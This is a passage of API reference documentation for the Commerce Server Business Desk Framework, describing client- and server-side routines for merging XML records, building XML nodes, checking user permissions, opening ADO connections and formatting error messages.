An XML DOMDocument object with an empty documentElement property.

Remarks

The string version of the returned document has the following form:

<document />

This routine is available in the include file HTTPXMLUtil.htm.

There is a functionally equivalent version of this routine defined for server-side use in the file HTTPXMLUtil.asp.

See Also

Client-Side Routines

AddCDATANode (client-side)

AddItemNode (client-side)

Server-Side Routines

xmlGetXMLDOMDoc (server-side)


xmlMergeGroups2 (client-side)

Use this routine to merge two sets of XML records containing different information about the same entities, returning the result as an XML document.

One set of records, known as the master set, contains higher-level information about each entity represented in the set. The other set of records, known as the detail set, contains more detailed information about the same set of entities. Both of these sets of records are contained in XML documents.

The records from each set are matched up and merged into a resulting set of records containing two tiers. The first tier contains the higher-level information, and the second tier contains the detailed information.

Definition

function xmlMergeGroups2(xmlMaster,
                         xmlDetail,
                         sKeyId)

Parameters

xmlMaster
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the first tier of the resulting standard XML data record format, and are considered to contain higher-level information.
xmlDetail
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the second tier of the resulting standard XML data record format, and are considered to contain more detailed information.
sKeyId
A string that corresponds to the name of a field element that exists in both of the XML documents passed as the other parameters. The values for this element are used to match up records from one XML document with the records in the other.

Return Value

An XML document that contains the merged, two-tiered set of records, represented in the standard XML data record format.

Remarks

This routine is useful for preparing a two-tiered XML data record structure for use by a two-level ListSheet HTC. For more information about how the ListSheet HTC expects its data in one-, two-, and three-tiered data record structures, see ListSheet and HTML Component Data Representation.

For more information about how single-tiered XML data record structures are merged to create two- and three-tiered XML data record structures, see XML Data Merging.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in file bizdesk.asp is called using the "parent." notation.

There is a functionally equivalent version of this routine defined for server-side use in the file ASPUtil.asp.

See Also

Client-Side Routines

sMergeGroups2 (client-side)

sMergeGroups3 (client-side)

xmlMergeGroups3 (client-side)

xmlMergeGroupsByID2 (client-side)

xmlMergeGroupsByID3 (client-side)

Server-Side Routines

xmlMergeGroups2 (server-side)


xmlMergeGroups3 (client-side)

Use this routine to merge three sets of XML records containing different information about the same entities, returning the result as an XML document.

One set of records, known as the master set, contains higher-level information about each entity represented in the set. A second set of records, known as the group set, contains more detailed information about the same set of entities. A third set of records, known as the detail set, contains the most detailed information about the same set of entities. All three sets of records are contained in XML documents.

The records from each set are matched up and merged into a resulting set of records containing three tiers. The first tier contains the higher-level information, the second tier contains the group level of detail, and the third tier contains the most detailed information.

Definition

function xmlMergeGroups3(xmlMaster,
                         xmlGroup,
                         xmlDetail,
                         sMasterKeyId,
                         sDetailKeyId)

Parameters

xmlMaster
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the first tier of the resulting standard XML data record format, and are considered to contain higher-level information.
xmlGroup
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the second tier of the resulting standard XML data record format, and are considered to contain information of a medium level of detail.
xmlDetail
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the third tier of the resulting standard XML data record format, and are considered to contain the most detailed information.
sMasterKeyId
A string that corresponds to the name of a data element that exists in both the xmlMaster and xmlGroup XML documents. The values for this element are used to match up records in one XML document with records in the other.
sDetailKeyId
A string that corresponds to the name of a data element that exists in both the xmlGroup and xmlDetail XML documents. The values for this element are used to match up records in one XML document with records in the other.

Return Value

An XML DOMDocument object that contains the merged, three-tiered set of records, represented in the standard XML data record format.

Remarks

This routine is useful for preparing a three-tiered XML data record structure for use by a three-level ListSheet HTC. For more information about how the ListSheet HTC expects its data in one-, two-, and three-tiered data record structures, see ListSheet and HTML Component Data Representation.

For more information about how single-tiered XML data record structures are merged to create two- and three-tiered XML data record structures, see XML Data Merging.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in file bizdesk.asp is called using the "parent." notation.

There is a functionally equivalent version of this routine defined for server-side use in the file ASPUtil.asp.

See Also

Client-Side Routines

sMergeGroups2 (client-side)

sMergeGroups3 (client-side)

xmlMergeGroups2 (client-side)

xmlMergeGroupsByID2 (client-side)

xmlMergeGroupsByID3 (client-side)

Server-Side Routines

xmlMergeGroups3 (server-side)


xmlMergeGroupsByID2 (client-side)

Use this routine to merge two sets of XML records containing different information about the same entities, returning the result as an XML document.

One set of records, known as the master set, contains higher-level information about each entity represented in the set. The other set of records, known as the detail set, contains more detailed information about the same set of entities. Both of these sets of records are contained in XML data-islands in the current document.

The records from each set are matched up and merged into a resulting set of records containing two tiers. The first tier contains the higher-level information, and the second tier contains the detailed information.

Definition

function xmlMergeGroupsByID2(sMaster,
                             sDetail,
                             sKeyId)

Parameters

sMaster
A string that matches the id attribute of an XML data-island containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the first tier of the resulting standard XML data record format, and are considered to contain higher-level information.
sDetail
A string that matches the id attribute of an XML data-island containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the second tier of the resulting standard XML data record format, and are considered to contain more detailed information.
sKeyId
A string that corresponds to the name of a field element that exists in both of the XML data-islands whose id attributes are passed as the other parameters. The values for this element are used to match up records from one XML data-island with the records in the other.

Return Value

An XML DOMDocument object that contains the merged, two-tiered set of records, represented in the standard XML data record format.

Remarks

This routine is useful for preparing a two-tiered XML data record structure for use by a two-level ListSheet HTC. For more information about how the ListSheet HTC expects its data in one-, two-, and three-tiered data record structures, see ListSheet and HTML Component Data Representation.

For more information about how single-tiered XML data record structures are merged to create two- and three-tiered XML data record structures, see XML Data Merging.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

sMergeGroups2 (client-side)

sMergeGroups3 (client-side)

xmlMergeGroups2 (client-side)

xmlMergeGroups3 (client-side)

xmlMergeGroupsByID3 (client-side)

Server-Side Routines


xmlMergeGroupsByID3 (client-side)

Use this routine to merge three sets of XML records containing different information about the same entities, returning the result as an XML document.

One set of records, known as the master set, contains higher-level information about each entity represented in the set. A second set of records, known as the group set, contains more detailed information about the same set of entities. A third set of records, known as the detail set, contains the most detailed information about the same set of entities. All three sets of records are contained in XML data-islands in the current document.

The records from each set are matched up and merged into a resulting set of records containing three tiers. The first tier contains the higher-level information, the second tier contains the group level of detail, and the third tier contains the most detailed information.

Definition

function xmlMergeGroupsByID3(sMaster,
                             sGroup,
                             sDetail,
                             sMasterKeyId,
                             sDetailKeyId)

Parameters

sMaster
A string that matches the id attribute of an XML data-island containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the first tier of the resulting standard XML data record format, and are considered to contain higher-level information.
sGroup
A string that matches the id attribute of an XML data-island containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the second tier of the resulting standard XML data record format, and are considered to contain information of a medium level of detail.
sDetail
A string that matches the id attribute of an XML data-island containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the third tier of the resulting standard XML data record format, and are considered to contain the most detailed information.
sMasterKeyId
A string that corresponds to the name of a field element that exists in both the xmlMaster and xmlGroup XML documents. The values for this element are used to match up records in one XML document with records in the other.
sDetailKeyId
A string that corresponds to the name of a field element that exists in both the xmlGroup and xmlDetail XML documents. The values for this element are used to match up records in one XML document with records in the other.

Return Value

An XML DOMDocument object that contains the merged, three-tiered set of records, represented in the standard XML data record format.

Remarks

This routine is useful for preparing a three-tiered XML data record structure for use by a three-level ListSheet HTC. For more information about how the ListSheet HTC expects its data in one-, two-, and three-tiered data record structures, see ListSheet and HTML Component Data Representation.

For more information about how single-tiered XML data record structures are merged to create two- and three-tiered XML data record structures, see XML Data Merging.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

sMergeGroups2 (client-side)

sMergeGroups3 (client-side)

xmlMergeGroups2 (client-side)

xmlMergeGroups3 (client-side)

xmlMergeGroupsByID2 (client-side)

Server-Side Routines


xmlPostFormViaXML (client-side)

Use this routine to post elements within the specified form element to the server as an XML document.

Definition

function xmlPostFormViaXML(byRef elForm)

Parameters

elForm
A form element on the page.

Return Value

An XML DOMDocument object returned from the page specified by the ACTION attribute of the form element.

Remarks

Converts form elements to XML where each element name becomes a name attribute and each element value becomes a value attribute on child item elements of the document. These items are posted to the action page as XML and then the routine returns any response XML.

This routine is useful when posting arguments to an HTTPXML response page.

This routine is available in the include file HTTPXMLUtil.htm.

See Also

Client-Side Routines

Server-Side Routines

dGetRequestXMLAsDict (server-side)


xmlXMLFromDict (client-side)

Use this routine to convert a Dictionary object into an XML document.

Definition

function xmlXMLFromDict(byRef dDict)

Parameters

dDict
A Dictionary object to be converted to XML.

Return Value

An XML DOMDocument object containing an item element for each entry in the Dictionary object.

Remarks

Each item element is given two attributes, name and value, initialized to the name and value of each entry in the Dictionary object, as follows:

<item name="keyname" value="value"/>

This routine is available in the include file HTTPXMLUtil.htm.

There is a functionally equivalent version of this routine defined for server-side use in the file HTTPXMLUtil.asp.

See Also

Client-Side Routines

xmlXMLFromForm (client-side)

Server-Side Routines

dDictFromXML (server-side)

xmlXMLFromDict (server-side)


xmlXMLFromForm (client-side)

Use this routine to convert form elements to items in an XML document.

Definition

function xmlXMLFromForm(byRef elForm)

Parameters

elForm
A form element on the page.

Return Value

An XML DOMDocument object containing the copied contents of the form elements.

Remarks

This routine converts the child elements of a form element to XML where each element name becomes a name attribute and each element value becomes a value attribute on child item elements of the document.

This routine is available in the include file HTTPXMLUtil.htm.

See Also

Client-Side Routines

xmlPostFormViaXML (client-side)

xmlXMLFromDict (client-side)

Server-Side Routines

xmlXMLFromDict (server-side)


Server-Side Routines

The Commerce Server Business Desk Framework defines the following server-side routines:

Routine Name | Description
AddCDATANode | Adds a CDATA type item node to the specified XML document. Defined in the file HTTPXMLUtil.asp.
AddErrorNode | Adds an error node to the specified XML document, causing the ListSheet HTC to display an error dialog box. Defined in the file HTTPXMLUtil.asp.
AddItemNode | Adds an item node to the specified XML document. Defined in the file HTTPXMLUtil.asp.
AddWarningNode | Adds a warning node to the specified XML document, causing the ListSheet HTC to display a warning dialog box. Defined in the file HTTPXMLUtil.asp.
bDenySecurityForTask | Returns permissions for the current user and the given task page and task.
bDenySecurityForElement | Returns permissions for the current user and the given entity, element, and right.
bInAdministratorGroup | Returns a Boolean that indicates whether the current user is in the Administrators group. Defined in the file ActionPageUtil.asp.
CheckSecurityForModule | Checks permissions for the current user and the given module, and redirects to the access error page if this user is denied access.
dDictFromXML | Converts a standard XML document into a Dictionary object. Defined in the file HTTPXMLUtil.asp.
dGetAction | Creates a Dictionary object and initializes it with the configuration information for a particular action page. Defined in the file ActionPageUtil.asp.
dGetRequestXMLAsDict | Returns the XML posted with a request as a Dictionary object. Defined in the file HTTPXMLUtil.asp.
FinishWithXMLSecurityError | Returns the XML security error and discontinue processing of the page.
GetSiteConfigField | Retrieves a value from the Site Configuration store. Defined in the file ASPUtil.asp.
InsertControlStylesheet | Inserts a style sheet for edit controls so that input can be in a different language than specified by the main style sheet. Defined in the file ActionPageUtil.asp.
InsertEditTaskBar | Causes Business Desk to display the action page in edit mode, with the navigation frame hidden, including the display of the task buttons and initial status message. Defined in the file ActionPageUtil.asp.
InsertTaskBar | Causes Business Desk to display the action page in list mode, with the navigation frame visible, including the display of the task buttons and initial status message. Defined in the file ActionPageUtil.asp.
oGetADOCommand | Creates and initializes an ADO Command object. Defined in the file DBUtil.asp.
oGetADOConnection | Creates and opens an ADO Connection object. Defined in the file DBUtil.asp.
rsGetRecordset | Retrieves an ADO Recordset object based on the specified connection string, query, cursor, and lock type. Defined in the file DBUtil.asp.
SetError | Saves server-side error information for synchronized display in the client. Defined in the file ASPUtil.asp.
sFormatString | Performs string formatting using a format string with variable insertion points, similar to the C++ printf function. Defined in the file ASPUtil.asp.
sGetADOError | Formats an ADO error into a string containing HTML table formatting directives. Defined in the file ASPUtil.asp.
sGetASPError | Formats an ASP error into a string containing HTML table formatting directives. Defined in the file ASPUtil.asp.
sGetErrorById | Retrieves an error message from the Message Manager. Defined in the file ASPUtil.asp.
sGetScriptError | Formats a script error into a string containing HTML table formatting directives. Defined in the file ASPUtil.asp.
sGetXMLError | Formats an XML error into a string containing HTML table formatting directives. Defined in the file ASPUtil.asp.
sMergeGroups2 | Merges two single-tiered XML documents in the standard XML data record format into a single two-tiered XML document in the same format, returning the result as a string. Defined in the file ASPUtil.asp.
sMergeGroups3 | Merges three single-tiered XML documents in the standard XML data record format into a single three-tiered XML document in the same format, returning the result as a string. Defined in the file ASPUtil.asp.
sRelURL2AbsURL | Converts a URL that is relative to the folder of an action page into its equivalent absolute URL. Defined in the file ASPUtil.asp.
xmlGetCurrencies | Retrieves an XML DOM object that contains information about various currencies. Defined in the file ASPUtil.asp.
xmlGetLanguages | Retrieves an XML DOM object that contains information about various languages. Defined in the file ASPUtil.asp.
xmlGetRequestXML | Returns the XML posted with a request as an XML DOMDocument object. Defined in the file HTTPXMLUtil.asp.
xmlGetResource | Loads and caches an XML DOM object that contains the contents of the specified XML file. Defined in the file ASPUtil.asp.
xmlGetXMLDOMDoc | Returns an empty XML DOMDocument object. Defined in the file HTTPXMLUtil.asp.
xmlGetXMLFromQuery | Creates an XML document node and populates it with record nodes corresponding to all of the records returned by the specified query. Defined in the file DBUtil.asp.
xmlGetXMLFromQueryEx | Creates an XML document node and populates it with record nodes corresponding to some or all of the records returned by the specified query. Defined in the file DBUtil.asp.
xmlGetXMLFromRS | Creates an XML document node and populates it with record nodes corresponding to all of the records in the specified ADO Recordset object. Defined in the file DBUtil.asp.
xmlGetXMLFromRSEx | Creates an XML document node and populates it with record nodes corresponding to some or all of the records in the specified ADO Recordset object. Defined in the file DBUtil.asp.
xmlMergeGroups2 | Merges two single-tiered XML documents in the standard XML data record format into a single two-tiered XML document in the same format, returning the result as an XML document node. Defined in the file ASPUtil.asp.
xmlMergeGroups3 | Merges three single-tiered XML documents in the standard XML data record format into a single three-tiered XML document in the same format, returning the result as an XML document node. Defined in the file ASPUtil.asp.
xmlXMLFromDict | Converts a Dictionary object into a standard XML document. Defined in the file HTTPXMLUtil.asp.

The following lists show server-side routines that are not intended to be called by module code, organized alphabetically and by the include file in which they appear:

ActionPageUtil.asp
dGetPermissionDict, InsertHelpIconBtn, InsertIconBtn, InsertIconBtns, InsertNonClientArea
ASPUtil.asp
dGetErrorDict, oGetAdminEventLog, sESCErrorText, sStripHTML
BizDeskObjects.asp
BDError, dGetCategory, DumpDict, DumpList, DumpResults, DumpSubObject, LoadActions, LoadCategories, LoadModuleConfigs, LoadModules, LoadObjects, LoadTasks, PutObjectsInApp, SetDumpStyles, sGetChildText, ShowProgress, sObjFormatString, ValidateActions, VBError, XMLError, xmlLoadConfig
DBUtil.asp
AddEmptyRecordNode, AddField, AddFormattedNode, sESCText, sStripGroupName
response_permissions.asp
setPermissions
response_session.asp
xmlGetResponseFromRequest, xmlGetResponseXML


AddCDATANode (server-side)

Use this routine to add a CDATA type item node to a global XML document, setting the name attribute and element data to the values passed.

Definition

sub AddCDATANode(byVal sName,
                 byVal sValue)

Parameters

sName
A string containing the name of the item.
sValue
A string containing the value of the item.

Return Value

None.

Remarks

The new item will be added to the XML document retrieved from the documentElement property of the DOMDocument object referenced by the global variable g_xmlReturn.

The string version of the added element has the following form:

<item name="sName"><![CDATA[sValue]]></item>

This routine is available in the include file HTTPXMLUtil.asp.

There is a functionally equivalent version of this routine defined for client-side use in the file HTTPXMLUtil.htm. Note that this other routine does not add the CDATA node to a globally accessible XML document, but instead is passed an xmlDoc parameter that references the XML document to which the node will be added.

See Also

Server-Side Routines

AddErrorNode (server-side)

AddItemNode (server-side)

AddWarningNode (server-side)

xmlGetXMLDOMDoc (server-side)

Client-Side Routines

AddCDATANode (client-side)


AddErrorNode (server-side)

Use this routine to add an ERROR element to the specified XML document.

Definition

sub AddErrorNode(byRef xmlDOMDoc,
                 byVal sId,
                 byVal sSource,
                 byVal sDetail)

Parameters

xmlDOMDoc
A reference to the XML DOMDocument object to which the ERROR element is added.
sId
A string containing a value for the id attribute of the element.
sSource
A string containing a value for the source attribute of the element.
sDetail
An HTML string containing the error details, assigned as the innerHTML of the element.

Return Value

None.

Remarks

This routine adds a node of the form:

<ERROR id="id" source="source">detail</ERROR>

This is the format expected by client routine ShowXMLNodeErrors.

This routine is available in the include file HTTPXMLUtil.asp.

See Also

Server-Side Routines

AddCDATANode (server-side)

AddItemNode (server-side)

AddWarningNode (server-side)

xmlGetXMLDOMDoc (server-side)

Client-Side Routines

ShowXMLNodeErrors (client-side)


AddItemNode (server-side)

Use this routine to add an item element to a global XML document, establishing name and value attributes using the passed parameters.

Definition

sub AddItemNode(byVal sName,
                byVal sValue)

Parameters

sName
A string containing a value for the name attribute of the item.
sValue
A string containing a value for the value attribute of the item.

Return Value

None.

Remarks

The new item will be added to the XML document retrieved from the documentElement property of the DOMDocument object referenced by the global variable g_xmlReturn.

The string version of the added element has the following form:

<item name="sName" value="sValue"/>

This routine is available in the include file HTTPXMLUtil.asp.

There is a functionally equivalent version of this routine defined for client-side use in the file HTTPXMLUtil.htm. Note that this other routine does not add the CDATA node to a globally accessible XML document, but instead is passed an xmlDoc parameter that references the XML document to which the node will be added.

See Also

Server-Side Routines

AddCDATANode (server-side)

AddErrorNode (server-side)

AddWarningNode (server-side)

xmlGetXMLDOMDoc (server-side)

Client-Side Routines

AddItemNode (client-side)


AddWarningNode (server-side)

Use this routine to add a WARNING element to the specified XML document.

Definition

sub AddWarningNode(byRef xmlDoc,
                   byVal sMessage)

Parameters

xmlDoc
A reference to the XML DOMDocument object to which the WARNING element is added.

A string containing the error details, assigned as the text of with the element.

sMessage
A string containing a warning message, assigned as the text of the element.

Return Value

None.

Remarks

This routine adds a node of the form:

<WARNING>sMessage</WARNING>

This routine is available in the include file HTTPXMLUtil.asp.

See Also

Server-Side Routines

AddCDATANode (server-side)

AddErrorNode (server-side)

AddItemNode (server-side)

xmlGetXMLDOMDoc (server-side)

Client-Side Routines


bDenySecurityForElement (server-side)

Use this routine to determine permissions for the current user and the given entity, element and right.

Definition

function bDenySecurityForElement(sEntity, sElement, sRight)

Parameters

sEntity
A String containing the entity ID.
sElement
A String containing the element ID.
sRight
A String containing the right ID.

Return Value

This routine returns True if the user is denied, and False if the user is allowed.

Remarks

This routine is available in the include file ServerSecurityUtil.asp.

See Also

Client-Side Routines


bDenySecurityForTask (server-side)

Use this routine to determine permissions for the current user and the given task page and task.

Definition

function bDenySecurityForTask(sTaskPage, sTaskID)

Parameters

sTaskPage
A String containing the page path relative to the Business Desk root directory.
sTaskID
A String containing the task ID from the module XML configuration.

Return Value

This routine returns True if the user is denied, and False if the user is allowed.

Remarks

The sTaskID must match the id attribute on the corresponding task node in the module XML configuration file of the module. The sTaskPage must match the action attribute on the corresponding goto or postto node under the corresponding task node.

This routine is available in the include file ServerSecurityUtil.asp.

See Also

Client-Side Routines


bInAdministratorGroup (server-side)

Use this routine to return a Boolean that indicates whether the current user is in the Administrators group.

Definition

function bInAdministratorGroup()

Parameters

None.

Return Value

A Boolean value indicating whether the current user is in the Administrators group. A return value of True indicates that the current user is an administrator, and a return value of False indicates that the current user is not an administrator.

Remarks

This routine is available in the include file ActionPageUtil.asp.

See Also

Server-Side Routines

Client-Side Routines


CheckSecurityForModule (server-side)

Use this routine to check permissions for the current user and the given module, and to redirect to the access error page if this user is denied access.

Definition

sub CheckSecurityforModule(sModuleID)

Parameters

sModuleID
A String containing the module ID.

Return Value

None.

Remarks

The sModuleID must match the id attribute on the corresponding module node in the module’s XML configuration file.

This routine is available in the include file ServerSecurityUtil.asp.

See Also

Client-Side Routines


dDictFromXML (server-side)

Use this routine to convert an XML document with child nodes of the form <item name="keyname" value="value"/> into a Dictionary object.

Definition

function dDictFromXML(byRef xmlDOMDoc)

Parameters

xmlDOMDoc
The XML DOMDocument object to be converted.

Return Value

A Dictionary object containing the converted XML document contents.

Remarks

Each name and value attribute becomes an entry in the Dictionary object where the name is the key and the value attribute contains the value.

This routine is available in the include file HTTPXMLUtil.asp.

There is a functionally equivalent version of this routine defined for client-side use in the file HTTPXMLUtil.htm.

See Also

Server-Side Routines

xmlXMLFromDict (server-side)

Client-Side Routines

dDictFromXML (client-side)

xmlXMLFromDict (client-side)


dGetAction (server-side)

Use this routine to create a Dictionary object containing the configuration information for an action page.

Definition

function dGetAction(byVal sLookupActionID)

Parameters

sLookupActionID
A string containing the action ID, which is the path and file name of the action page relative to the Commerce Server Business Desk root.

Return Value

A Dictionary object containing the action page configuration.

Remarks

This routine returns a Dictionary object containing all of the action page configuration information, such as name, tooltip, and associated tasks. The tasks associated with this action page are relatively complex, and are returned using a subordinate SimpleList object.

This routine is available in the include file ActionPageUtil.asp.

See Also

Server-Side Routines

Client-Side Routines


dGetRequestXMLAsDict (server-side)

Use this routine to retrieve the XML in a request as a Dictionary object.

Definition

function dGetRequestXMLAsDict()

Parameters

None.

Return Value

A Dictionary object containing the values expressed using XML in the request.

Remarks

This routine expects XML in the form that is posted by the client routine xmlPostFormViaXML. The Dictionary object returned can be treated like the Internet Information Services (IIS) Request object.

This routine is available in the include file HTTPXMLUtil.asp.

See Also

Server-Side Routines

dDictFromXML (server-side)

xmlGetRequestXML (server-side)

Client-Side Routines

xmlPostFormViaXML (client-side)


GetSiteConfigField (server-side)

Use this routine to retrieve a field value from the Site Configuration store.

Definition

function GetSiteConfigField(sResourceName,
                            sPropertyName)

Parameters

sResourceName
A string containing the name of the resource associated with the field being requested.
sPropertyName
A string containing the name of the property corresponding to the field being requested.

Return Value

The value currently associated with the sPropertyName property of the sResourceName resource in the Site Configuration store.

Remarks

This routine is available in the include file ASPUtil.asp.

See Also

Server-Side Routines

Client-Side Routines


InsertControlStylesheet (server-side)

Use this routine to insert a style sheet for edit controls so that input can be in a different language than specified by the main style sheet.

Definition

sub InsertControlStylesheet(sLanguage)

Parameters

sLanguage
A string that specifies the name of the language-specific style sheet file to be used for the edit controls.

Return Value

None.

Remarks

The sLanguage parameter should be one of the file names shown in the following table, or the name of an equivalent file defined for another language and placed in the include\styles folder.

Style Sheet File | Description
chs_widgets.css | Style sheet for Chinese (Simplified) edit control input.
cht_widgets.css | Style sheet for Chinese (Traditional) edit control input.
en_widgets.css | Style sheet for English (Western Europe) edit control input.
jp_widgets.css | Style sheet for Japanese edit control input.
ko_widgets.css | Style sheet for Korean edit control input.

This routine is available in the include file ActionPageUtil.asp.

See Also

Server-Side Routines

Client-Side Routines

ChangeControlStylesheet (client-side)


InsertEditTaskBar (server-side)

Use this routine to insert the configured taskbar and display the page in edit mode, that is, with the module navigation frame hidden and the action page frame expanded to the left.

Definition

sub InsertEditTaskBar(sPageTitle,
                      sStatusText)

Parameters

sPageTitle
A string containing the text to be displayed in the title bar at the top of the expanded action page frame.
sStatusText
A string containing the text to be initially displayed in the status bar at the bottom of the expanded action page frame.

Return Value

None.

Remarks

The title bar and status bar are displayed in the color red, indicating that Commerce Server Business Desk is in edit mode, from which modification of data values can occur.

It is common for an action page to overwrite the initial status text using the routine SetStatusText.

This routine should be invoked immediately after the opening BODY element in the action page.

This routine is available in the include file ActionPageUtil.asp.

See Also

Server-Side Routines

InsertTaskBar (server-side)

Client-Side Routines


InsertTaskBar (server-side)

Use this routine to insert the configured taskbar and display the page in list mode, that is, with the module navigation frame visible to the left of the action page frame.

Definition

sub InsertTaskBar(sPageTitle,
                  sStatusText)

Parameters

sPageTitle
A string containing the text to be displayed in the title bar at the top of the action page frame.
sStatusText
A string containing the text to be initially displayed in the status bar at the bottom of the action page frame.

Return Value

None.

Remarks

The title bar and status bar are displayed in the color blue, indicating that Commerce Server Business Desk is in list mode, from which no modification of data values can occur.

It is common for an action page to overwrite the initial status text using the routine SetStatusText.

This routine should be invoked immediately after the opening BODY element in the action page.

This routine is available in the include file ActionPageUtil.asp.

See Also

Server-Side Routines

InsertEditTaskBar (server-side)

Client-Side Routines


oGetADOCommand (server-side)

Use this routine to create an ActiveX Data Object (ADO) Command object, and initialize it with the specified connection and command types.

Definition

function oGetADOCommand(oConn,
                        nCommandType)

Parameters

oConn
An ADO Connection object to be set as the active connection for the newly created Command object. This is usually the object returned from a call to the oGetADOConnection routine.
nCommandType
A number containing a valid value representing an ADO command type to be set for the newly created Command object.

Return Value

An ADO Command object, ready to use.

Remarks

The following constants for ADO parameter values are defined in the file DBUtil.asp:

Command Types
AD_CMD_TEXT

AD_CMD_TABLE

AD_CMD_STORED_PROC

AD_CMD_UNKNOWN

This routine is available in the include file DBUtil.asp.

See Also

Server-Side Routines

oGetADOConnection (server-side)

rsGetRecordset (server-side)

Client-Side Routines


oGetADOConnection (server-side)

Use this routine to create and open an ActiveX Data Object (ADO) connection, and establish connection and command timeouts of 15 and 30 seconds, respectively.

Definition

function oGetADOConnection(sConnectionString)

Parameters

sConnectionString
A string containing an ADO connection string describing the database with which to connect. This is usually a property retrieved from a resource in the Site Configuration Store using the GetSiteConfigField routine in the file ASPUtil.asp.

Return Value

An ADO Connection object, ready to use.

Remarks

This routine is available in the include file DBUtil.asp.

See Also

Server-Side Routines

oGetADOCommand (server-side)

rsGetRecordset (server-side)

Client-Side Routines


rsGetRecordset (server-side)

Use this routine to retrieve an ActiveX Data Object (ADO) recordset based on a specified connection string, query, and cursor and lock types.

Definition

function rsGetRecordset(sConnectionString,
                        sQuery,
                        nCursorType,
                        nLockType)

Parameters

sConnectionString
A string containing an ADO connection string describing the database with which to connect. This is usually a property retrieved from a resource in the Site Configuration Store using the GetSiteConfigField routine in the file ASPUtil.asp.
sQuery
A string containing a valid SQL query.
nCursorType
A number containing a valid value representing an ADO cursor type.
nLockType
A number containing a valid value representing an ADO lock type.

Return Value

An ADO Recordset object containing the results of the query.

Remarks

The following constants for ADO parameter values are defined in the file DBUtil.asp:

Cursor Types
AD_OPEN_FORWARD_ONLY

AD_OPEN_KEYSET

AD_OPEN_DYNAMIC

AD_OPEN_STATIC

Lock Types
AD_LOCK_READ_ONLY

AD_LOCK_PESSIMISTIC

AD_LOCK_OPTIMISTIC

AD_LOCK_BATCH_OPTIMISTIC

This routine is available in the include file DBUtil.asp.

See Also

Server-Side Routines

xmlGetXMLFromRS (server-side)

xmlGetXMLFromRSEx (server-side)

Client-Side Routines


SetError (server-side)

Use this routine to save information about errors that occur in server-side code for display to the user. The error information is saved in the Active Server Pages (ASP) Session object, and used to automatically call the client-side routine ShowErrorDialog the next time the taskbar is displayed.

Definition

sub SetError(byVal sErrorTitle,
             byVal sFriendlyError,
             byVal sErrorDetails,
             byVal nErrorType)

Parameters

sErrorTitle
A string to be displayed in the title bar of the error dialog box.
sFriendlyError
A string containing a plain-language description of the error that has been encountered.
sErrorDetails
A string containing details about the error that has been encountered, often formatted as an HTML table using one of the error formatting routines: sGetASPError, sGetADOError, sGetScriptError, or sGetXMLError. This string can also be formatted using other methods.
nErrorType
A number that corresponds to the severity of the error, and which determines the type of icon displayed in the error dialog box. See Remarks for more information about constants provided for use as this parameter.

Return Value

None.

Remarks

The following constants are provided as the valid values for the nErrorType parameter:

ERROR_ICON_ALERT, ERROR_ICON_CRITICAL,

ERROR_ICON_INFORMATION, ERROR_ICON_QUESTION

If the error type is ERROR_ICON_ALERT or ERROR_ICON_CRITICAL, then the error is logged to the application event log.

This routine is available in the include file ASPUtil.asp.

See Also

Server-Side Routines

sGetADOError (server-side)

sGetASPError (server-side)

sGetErrorById (server-side)

sGetScriptError (server-side)

sGetXMLError (server-side)

Client-Side Routines

ShowXMLNodeErrors (client-side)


sFormatString (server-side)

Use this routine to insert arguments into a string in a manner similar to that used by the C++ printf function. It is useful for formatting strings in a way that is much easier to localize than some other hard-coded methods.

Definition

function sFormatString(byVal sFormat,
                             aArgs)

Parameters

sFormat
A string containing a combination of text and sequentially-numbered variables in the format %1, %2, and so forth. These variables are replaced with the elements from the corresponding positions in the aArgs array.
aArgs
An array of strings to be inserted into the string specified by the sFormat parameter, in the positions of the sequentially-numbered variables. Any extra arguments are ignored, and any extra variables in the string remain unchanged.

Return Value

A string containing the contents of the sFormat parameter with the appropriate substitutions performed.

Remarks

The following example shows how the string "A and B" is returned and assigned to the variable sFormattedString:

sFormattedString = sFormatString("%1 and %2", Array("A", "B"))

The returned string can easily be changed to "B and A" by changing the format string to "%2 and %1" (without changing the array at all).

The sFormat parameter is passed by value so that the original string is not modified.

This routine is available in the include file ASPUtil.asp.

There is a functionally equivalent version of this routine defined for client-side use in the file ActionPageUtil.asp.

See Also

Server-Side Routines

Client-Side Routines

sFormatString (client-side)


sGetADOError (server-side)

Use this routine to format particular properties of an ADO Error object into an HTML table. The table includes the following property values from the object, in the order shown: number, description, source, SQLState, and NativeError. The table is returned as an HTML-formatted string. This routine is typically called to construct a string to use as the sErrorDetail parameter of the routine SetError.

Definition

function sGetADOError(oConnectionErrorsError)

Parameters

oConnectionErrorsError
The ADO Error object to be formatted.

Return Value

A string containing the HTML that displays the formatted table.

Remarks

The following is an example of the table to be displayed.

ADO Error
Number | 0x456
Description | xxx
Source | xxx
SQL state | xxx
Native error | xxx

This routine is available in the include file ASPUtil.asp.

See Also

Server-Side Routines

SetError (server-side)

sGetASPError (server-side)

sGetScriptError (server-side)

sGetXMLError (server-side)

Client-Side Routines

sGetScriptError (client-side)


sGetASPError (server-side)

